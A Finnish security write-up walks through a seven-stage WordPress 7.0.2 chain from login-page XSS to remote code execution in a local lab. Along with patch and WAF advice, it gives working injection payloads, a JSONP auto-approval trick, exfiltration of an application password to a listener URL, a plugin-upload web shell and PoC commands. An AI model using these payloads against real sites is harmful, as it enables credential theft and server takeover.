Vain valtuutettuun testaukseen.
Kaikki alla oleva suoritettiin paikallisessa laboratorioympäristössä (WordPress 7.0.2 osoitteessa localhos). Älä käytä näitä tekniikoita järjestelmiä vastaan, joita et omista tai joiden testaamiseen sinulla ei ole nimenomaista lupaa.
Tiivistelmä
XSS2Shell ei ole yksittäinen bugi — se on seitsenvaiheinen hyväksikäyttöketju, joka alkaa yhdellä merkillä (< jota seuraa välilyönti) ohittaen kaksi eri HTML-jäsennintä WordPressin kirjautumissivulla, ja päättyy PHP:n suorittamiseen palvelimella www-data-käyttäjänä.
Mikä tekee siitä vaarallisen:
- Vaihe 1 ei vaadi todennusta — kuka tahansa voi käynnistää JavaScriptin
wp-login.php-sivulla. - Se sijaitsee WordPress Coressa — ei laajennuksessa; käytännöllisesti katsoen jokainen tuettu asennus vuodesta 2016 lähtien on haavoittuvainen.
- Se käyttää WordPressin omaa koodia —
user-profile.js, REST JSONP, sovellussalasanat, laajennuksen lataus — välineinä. - Täydellinen RCE on osoitettu ja WordPress on myöntänyt sen — vaikka se vaatii kirjautuneen järjestelmänvalvojan huijaamista yhteen klikkaukseen.
Tämä artikkeli käy läpi jokaisen vaiheen kuvakaappauksilla paikallisesta laboratorioympäristöstämme.
Laboratorioympäristö
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 osoitteessa http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Jokainen WordPress-sivusto paljastaa /wp-login.php:n. Tämä sivu on koko ketjun sisäänkäyntipiste.
Vaihe 0: Jäsennysero (juurisyy)
Kun kirjautuminen epäonnistuu, WordPress toistaa syötetyn käyttäjänimen virheilmoituksessa. Käyttäjänimi kulkee kahden sanitoijan läpi, jotka ovat eri mieltä siitä, mikä on "tagi":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Hyötykuorma käyttää välilyöntiä<:n jälkeen:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XHaavoittuvassa WordPress 7.0.2:ssa tämä selviää sanitoinnista ja muuttuu aktiiviseksi DOM:iksi:
./scripts/demo-parser-diff.sh http://localhost:9080
Paikkauksen saaneessa WordPress 7.0.4:ssä sama hyötykuorma HTML-escapetaan virheilmoituksessa — ei aktiivisia elementtejä.
Tämä bugi on ollut olemassa WordPressin versiosta 4.7 (2016) lähtien, ja se on jäänyt huomaamatta vuosien tietoturvatarkastuksissa.
Vaihe 1: Esiauthentikointi-XSS (ei kirjautumista vaadittu)
Injektoidut DOM-solmut vastaavat valitsimia, joita WordPressin oma user-profile.js etsii kirjautumissivulta (ladattu salasanan palautuksen yhteydessä):
.reset-pass-submit .wp-generate-pwklikataan automaattisesti sivun latautuessa- Klikkaus kuplii
#color-picker:n delegoidulle käsittelijälle - Vartiotarkistus
user_id === checkuser_idläpäisee, koska molemmat ovatundefined - jQuery lähettää POST-pyynnön kohteeseen
ajaxurl— muttaajaxurlei ole olemassa kirjautumissivulla…
Ellei sitä ylikirjoiteta:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1><area id=ajaxurl>-elementistä tulee window.ajaxurl. jQuery kutsuu .toString() → palauttaa href:n. WordPress REST palauttaa JSONP:n → jQuery globalEval() → alert()suoritetaan WordPress-originissa.

Lähetä lomake (tai avaa demo/stage1-preauth-xss.html ja klikkaa Suorita vaihe 1):

Vaikutus pelkästään tässä vaiheessa: tunnistetietojen kalastelu oikealla verkkotunnuksella, istunnon kaappaus, same-origin-API-kutsut — ilman mitään todennusta.
Vaihe 2: Sosiaalinen manipulointi — järjestelmänvalvojan klikkaus
Vaiheet 2–7 edellyttävät, että kirjautunut järjestelmänvalvoja avaa hyökkääjän hallitseman sivun. Tämä kitka pitää CVSS:n alle 10:ssä — mutta se on realistinen kohdennetuissa hyökkäyksissä.
Järjestelmänvalvoja saattaa saada viestin: "Istuntosi on vanhentunut — klikkaa tästä kirjautuaksesi uudelleen."

Kun klikataan, hyökkääjän sivu:
- Avaa alatason ponnahdusikkunan (
about:blank) - Ohjaa pääikkunan WordPressin sovellusavaimen valtuutussivulle
- Kirjoittaa XSS-lomakkeen aliponnahdusikkunaan ja lähettää sen automaattisesti kohteeseen
wp-login.php

Vaihe 3: Same-Origin Method Execution (SOME) — automaattinen hyväksyntä
Aliikkunan XSS-hyötykuorma muuttaa JSONP-takaisinkutsun alert-funktiosta seuraavaksi:
window.opener.approve.clickWordPress REST käärii vastauksen:
/**/window.opener.approve.click({...})Ajoympäristö ratkaisee window.opener:n (pääikkuna) → .approve (#approve-painike) → .click(). Sovellusavaimen Hyväksy-painiketta klikataan automaattisesti — ilman käyttäjän toimia kyseisellä sivulla.

Huomaa sivulla oleva takaisinkutsu-URL: tunnistetiedot lähetetään osoitteeseen http://127.0.0.1:9090/callback?...&password=[------].
Vaihe 4: Sovellussalasanan sieppaus
WordPress luo uuden sovellussalasanan ja ohjaa käyttäjän hyökkääjän success_url-osoitteeseen, jossa tunnistetieto on kyselymerkkijonossa:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXHyökkääjällä on nyt HTTP Basic auth -tunnisteet WordPress REST API:a varten — saatu järjestelmänvalvojan omasta istunnosta, ilman että järjestelmänvalvoja kirjoitti mitään alkuperäisen linkin klikkaamisen jälkeen.
Vaihe 5: Hyökkääjän hallitseman sivun julkaiseminen
Hyökkääjä käyttää varastettua sovellussalasanaa lähettääkseen POST-pyynnön kohteeseen /wp-json/wp/v2/pages ja julkaisee sivun, johon on upotettu JavaScript. Ylläpitäjillä on unfiltered_html-oikeus — script-tagit säilyvät.
Vaihe 6: Lisäosan lataaminen ylläpitäjäistunnon kautta
Hyökkääjän JavaScript (suoritetaan ylläpitäjän selaimessa julkaistulla sivulla):
- Hakee
/wp-admin/plugin-install.php?tab=upload-sivulta latauksen noncen - Lähettää POST-pyynnöllä haitallisen ZIP-tiedoston osoitteeseen
/wp-admin/update.php?action=upload-plugin - WordPress purkaa sen kansioon
wp-content/plugins/xss2shell/
Liitännäistä ei tarvitse aktivoida. PHP-tiedostot liitännäishakemistossa ovat suoraan verkosta saavutettavissa.
Vaihe 7: Etäkoodin suoritus
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiVastaus:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Hyökkääjä suorittaa nyt mielivaltaisia komentoja verkkopalvelimen käyttäjänä — voi lukea wp-config.php-tiedoston (tietokantakirjautumistiedot), kaataa tietokannan ja liikkua sivusuunnassa.
Täydellinen PoC-päätetuloste:

Koko ketju lyhyesti
sequenceDiagram participant A as Hyökkääjän palvelin participant V as Uhrin selain participant W as WordPress 7.0.2 Note over V,W: Järjestelmänvalvoja on kirjautunut sisään V->>A: Avaa tietojenkalastelun linkin (1 klikkaus) A->>V: Hyökkääjän HTML + alaponnahdusikkuna V->>W: Pääikkuna → authorize-application.php V->>W: Alaponnahdusikkuna lähettää XSS-hyötykuorman wp-login.php:lle W->>V: JSONP suorittaa window.opener.approve.click Note over V,W: Hyväksy-painiketta klikataan automaattisesti W->>A: Uudelleenohjaus sovellusavaimen kanssa A->>W: REST API julkaisee sivun (Basic auth) V->>W: Järjestelmänvalvoja vierailee sivulla → lataa liitännäis-ZIP:n V->>W: GET shell.php?cmd=whoami W-->>A: www-dataKuinka vaarallinen se todella on?
Mikä on taattu (korkea luottamus)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Mitkä vaativat lisäehtoja (RCE-polku)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Vakavuuden kalibrointi
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Yhteenveto: Kyseessä ei ole matoilukelpoinen nollaklikkaus-RCE kuten Log4Shell. Se on syvällisen tekninen, ydintason haavoittuvuus, joka vaikuttaa noin 43 %:iin verkosta ja jossa:
- Pelkkä vaihe 1 on vakava esitodennusvaiheen XSS kirjautumissivulla
- Koko ketju muuntaa yhden järjestelmänvalvojan klikkauksen palvelimen murtamiseksi
- Juurisyy (jäsentimen ero) pätee mihin tahansa koodipohjaan, joka käyttää useita HTML-jäsentimiä
WordPressin oma tietoturvatiedote toteaa, että RCE vaatii "hyökkääjän hallinnan ulkopuolisia olosuhteita" ja "onnistunutta sosiaalista manipulointia." Tämä pitää paikkansa — mutta osoitettu ketju tekee näistä olosuhteista saavutettavia yhdellä linkillä.
Toista koko ketju paikallisesti
# 1. Käynnistä laboratorio make up # 2. Ota sovellusavaimet käyttöön HTTP:llä (vain laboratorio) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Käynnistä PoC-kuuntelija python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. Selaimessa: # a. Kirjaudu järjestelmänvalvojana osoitteessa http://localhost:9080/wp-login.php # b. Avaa http://127.0.0.1:9091/phishing-sim.html # c. Klikkaa "Open attacker page" (salli ponnahdusikkunat) # d. Odota päätelaitteen tulosteen näyttävän shellin + whoami-komennonPuolustus
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Korjaus lisää esc_html()-funktion käyttäjänimeen kirjautumisvirhepolussa — varmistaen, että merkkijono käsitellään tekstinä eikä uudelleen jäsennetä HTML:nä.
Miksi tämä on tärkeää tietoturvatutkimukselle
Jokainen ketjun linkki on yksinään tylsä:
- Jäsentimen ero → alhainen vakavuus, ylläpitotehtävä
- Väärä skripti ladattu kirjautumissivulle → alhainen
- JSONP-takaisinkutsu validoitu regexillä → keskitaso
- Sovellussalasana uudelleenohjauksen URL-osoitteessa → keskitaso
- Laajennushakemisto suorittaa PHP:tä ilman aktivointia → tunnettu suunnittelu
Koottuna ne ovat CVSS 8.9 ja komentotulkki.
Opetus: XSS-havaintoja arvioidessasi kysy "mitä tälle sivulle on jo ladattu, ja mitä se tekee, jos annan sille oikeat DOM-solmut?" Vakavuus on ketjun ominaisuus, ei yksittäisen bugin.



